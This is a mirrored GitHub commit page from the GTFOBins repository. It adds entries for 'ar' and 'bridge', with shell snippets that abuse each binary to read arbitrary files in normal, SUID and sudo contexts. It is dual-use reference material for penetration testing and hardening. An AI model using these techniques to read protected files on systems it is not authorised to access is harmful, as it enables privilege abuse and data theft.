mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Merge pull request #160 from xmpf/adiff_ar_bridge
Add ar and bridge file-read
This commit is contained in:
commit
5c4ec744cb
22
_gtfobins/ar.md
Normal file
22
_gtfobins/ar.md
Normal file
@ -0,0 +1,22 @@
|
||||
---
|
||||
description: The file appears amid the binary content of the archive.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
OUTFILE=$(mktemp -u)
|
||||
LFILE=file_to_read
|
||||
ar r "$OUTFILE" "$LFILE"
|
||||
cat "$OUTFILE"
|
||||
suid:
|
||||
- code: |
|
||||
OUTFILE=$(mktemp -u)
|
||||
LFILE=file_to_read
|
||||
./ar r "$OUTFILE" "$LFILE"
|
||||
cat "$OUTFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
OUTFILE=$(mktemp -u)
|
||||
LFILE=file_to_read
|
||||
sudo ar r "$OUTFILE" "$LFILE"
|
||||
cat "$OUTFILE"
|
||||
---
|
16
_gtfobins/bridge.md
Normal file
16
_gtfobins/bridge.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
description: Outputs the first line of the file (until the first whitespace) inside an error message to stdandard error.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
bridge -b "$LFILE"
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./bridge -b "$LFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo bridge -b "$LFILE"
|
||||
---
|
Loading…
Reference in New Issue
Block a user